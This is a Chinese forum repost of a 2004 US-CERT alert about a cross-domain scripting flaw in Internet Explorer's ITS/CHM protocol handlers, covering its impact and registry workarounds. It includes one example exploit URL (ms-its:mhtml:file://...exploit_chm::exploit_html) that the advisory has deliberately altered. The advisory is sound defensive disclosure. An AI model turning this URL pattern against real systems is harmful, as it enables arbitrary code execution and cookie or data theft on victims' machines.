US-CERT Technical Cyber Security Alert TA04-099A -- Vulnera (转载)

[187720] 主题： US-CERT Technical Cyber Security Alert TA04-099A -- Vulnera (转载)

	作者： tshxp. (tshxp.)
	标题： US-CERT Technical Cyber Security Alert TA04-099A -- Vulnera (转载)[转载]
	来自： 202.194..
	发贴时间： 2004年04月09日 21:02:13
	长度： 10033字

	发信人：tshxp@smth.org (I'll be back)，信区：cn.bbs.comp.securit y 标题：US-CERT Technical Cyber Security Alert TA04-099A -- Vuln era (转载) 发信站：BBS 水木清华站转信站：LeafOK!netnews.sdu.edu.cn!maily.cic.tsinghua.edu.cn!SMTH 【以下文字转载自 BugTraqML 讨论区】发信人: cert-advisory@cert.org (CERT Advisory), 信区: BugTraqML 标题: US-CERT Technical Cyber Security Alert TA04-099A -- Vuln erability in I 发信站: NCTU CSIE FreeBSD Server (Fri Apr 9 08:47:21 2004) 转信站: SMTH!maily.cic.tsinghua.edu.cn!newsfeed.kabelfoon.nl!new s.moat.net!ctu- 出处: freebsd.csie.nctu.edu.tw -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Vulnerability in Internet Explorer ITS Protocol Handler Original release date: April 8, 2004 Last revised: -- Source: US-CERT Systems Affected * Microsoft Windows systems running Internet Explorer Overview A cross-domain scripting vulnerability in Microsoft Internet Explorer (IE) could allow an attacker to execute arbitrary code with t he privileges of the user running IE. The attacker could also re ad and manipulate data on web sites in other domains or zones. I. Description There is a cross-domain scripting vulnerability in the way IT S protocol handlers determine the security domain of an HTML co mponent stored in a Compiled HTML Help (CHM) file. The HTML Help syst em "...uses the underlying components of Microsoft Internet Explorer to display help content. It supports HTML, ActiveX, Java, [and] scripting languages (JScript, and Microsoft Visual Basic Scripting Edit ion)." CHM files use the InfoTech Storage (ITS) format to store comp onents such as HTML files, graphic files, and ActiveX objects. IE pr ovides several protocol handlers that can access ITS files and indiv idual CHM components: its:, ms-its:, ms-itss:, and mk:@MSITStore:. IE a lso has the ability to access parts of MIME Encapsulation of Aggregat e HTML Documents (MHTML) using the mhtml: protocol handler. When IE references an inaccessible or non-existent MHTML file using the ITS and mhtml: protocols, the ITS protocol handlers can a ccess a CHM file from an alternate source. IE incorrectly treats the CHM file as if it were in the same domain as the unavailable MHTML fil e. Using a specially crafted URL, an attacker can cause arbitrary scri pt in a CHM file to be executed in a different domain, violating the cross-domain security model. Any programs that use the WebBrowser ActiveX control or the I E HTML rendering engine (MSHTML) may be affected by this vulnerabili ty. Internet Explorer, Outlook, and Outlook Express are all examp les of such programs. Any programs, including other web browsers, th at use the IE protocol handlers (URL monikers) could function as att ack vectors. Also, due to the way that IE determines MIME types, HTML and CHM files may not have the expected file name extensions (.ht m/.html and .chm respectively). NOTE: Using an alternate web browser may not mitigate this vulnerability. It may be possible for a web browser other tha n IE on a Windows system to invoke IE to handle ITS protocol URLs. US-CERT is tracking this issue as VU#323070. This reference n umber corresponds to CVE candidate CAN-2004-0380. II. Impact By convincing a victim to view an HTML document such as a web page or HTML email message, an attacker could execute script in a dif ferent security domain than the one containing the attacker's docume nt. By causing script to be run in the Local Machine Zone, the attac ker could execute arbitrary code with the privileges of the user runnin g IE. The attacker could also read or modify data in other web sites (i ncluding reading cookies or content and modifying or creating content) . Publicly available exploit code exists for this vulnerability . US-CERT has monitored incident reports that indicate that this vulner ability is being exploited. The Ibiza trojan, variants of W32/Bugbear , and BloodHound.Exploit.6 are some example of malicious code that exploit this vulnerability. It is important to note that any arbitrar y executable payload could be delivered via this vulnerability, and different anti-virus vendors may identify malicious code with different names. A malicious web site or email message may contain HTML simila r to the following: ms-_its:mhtml:file://C:\nosuchfile_mht!http://www.example.c om//expl oit_chm::exploit_html (This URL is intentionally modified to avoid detection by anti-virus software.) In this example, HTML and script in exploit.html will be exec uted in the security context of the Local Machine Zone. It is common practice for exploit.html to either contain or download an executable payload such as a backdoor, trojan horse, virus, bot, or other malici ous code. Note that it is possible to encode a URL in an attempt to byp ass HTTP content inspection or anti-virus software. III. Solution Currently, there is no complete solution for this vulnerabili ty. Until a patch is available, consider the workarounds listed below. Disable ITS protocol handlers Disabling ITS protocol handlers appears to prevent exploitati on of this vulnerability. Delete or rename the following registry k eys: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\PROTOCOLS\Handler\{ms-i ts,ms-it ss,its,mk} Disabling these protocol handlers will significantly reduce t he functionality of the Windows Help system and may have other u nintended consequences. Plan to undo these changes after patches have b een tested and installed. Follow good Internet security practices These recommended security practices will help to reduce expo sure to attacks and mitigate the impact of cross-domain vulnerabiliti es. * Disable Active scripting and ActiveX controls NOTE: Disabling Active scripting and ActiveX controls wil l not prevent the exploitation of this vulnerability. Disabling Active scripting and ActiveX controls in the In ternet and Local Machine Zones may stop certain types of attacks and will prevent exploitation of different cross-domain vulnerabil ities. Disable Active scripting and ActiveX controls in any zone s used to read HTML email. Disabling Active scripting and ActiveX controls in the Lo cal Machine Zone will prevent malicious code that requires Ac tive scripting and ActiveX controls from running. Changing the se settings may reduce the functionality of scripts, applets , Windows components, or other applications. See Microsoft Knowledg e Base Article 833633 for detailed information about security se ttings for the Local Machine Zone. Note that Service Pack 2 for Windows XP includes these changes. * Do not follow unsolicited links Do not click on unsolicited URLs received in email, insta nt messages, web forums, or Internet relay chat (IRC) channe ls. * Maintain updated anti-virus software Anti-virus software with updated virus definitions may id entify and prevent some exploit attempts. Variations of exploits or attack vectors may not be detected. Do not rely solely on anti-virus software to defend against this vulnerability. More information about viruses and anti-virus vendors is avail able on the US-CERT Computer Virus Resources page. Appendix B. References * Vulnerability Note VU#323070 - <http://www.kb.cert.org/vuls/id/323070> * US-CERT Computer Virus Resources - <http://www.us-cert.gov/other_sources/viruses.html> * CVE CAN-2004-0380 - <http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-200 4-0380> * Introduction to URL Security Zones - <http://msdn.microsoft.com/workshop/security/szone/ove rview/overvi ew.asp> * About Cross-Frame Scripting and Security - <http://msdn.microsoft.com/workshop/author/om/xframe_s cripting_sec urity.asp> * MIME Type Determination in Internet Explorer - <http://msdn.microsoft.com/workshop/networking/moniker /overview/ap pendix_a.asp> * URL Monikers - <http://msdn.microsoft.com/workshop/networking/moniker /monikers.as p> * Asynchronous Pluggable Protocols - <http://msdn.microsoft.com/workshop/networking/pluggab le/pluggable .asp> * Microsoft HTML Help 1.4 SDK - <http://msdn.microsoft.com/library/en-us/htmlhelp/html /vsconHH1Sta rt.asp> * Microsoft Knowledge Base Article 182569 - <http://support.microsoft.com/default.aspx?scid=182569 > * Microsoft Knowledge Base Article 174360 - <http://support.microsoft.com/default.aspx?scid=174360 > * Microsoft Knowledge Base Article 833633 - <http://support.microsoft.com/default.aspx?scid=833633 > * Windows XP Service Pack 2 Technical Preview - <http://www.microsoft.com/technet/prodtechnol/winxppro /sp2preview. mspx > * AusCERT Update AU-2004.007 - <http://www.auscert.org.a u/3990> ___________________________________________________________ ______ This vulnerability was reported by Thor Larholm. ___________________________________________________________ ______ Feedback can be directed to the author: Art Manion. ___________________________________________________________ ______ Copyright 2004 Carnegie Mellon University. Terms of use: <http://www.us-cert.gov/legal.html> Revision History April 8, 2004: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQFAdbqQXlvNRxAkFWARAtfuAKD0NGSDWbtITNqXKmZk7qcbJD/h2QCfRlU/ sWme3VvhRbvk9KjNUNyTsbY= =kL0G -----END PGP SIGNATURE-----
	========== * * * * * ==========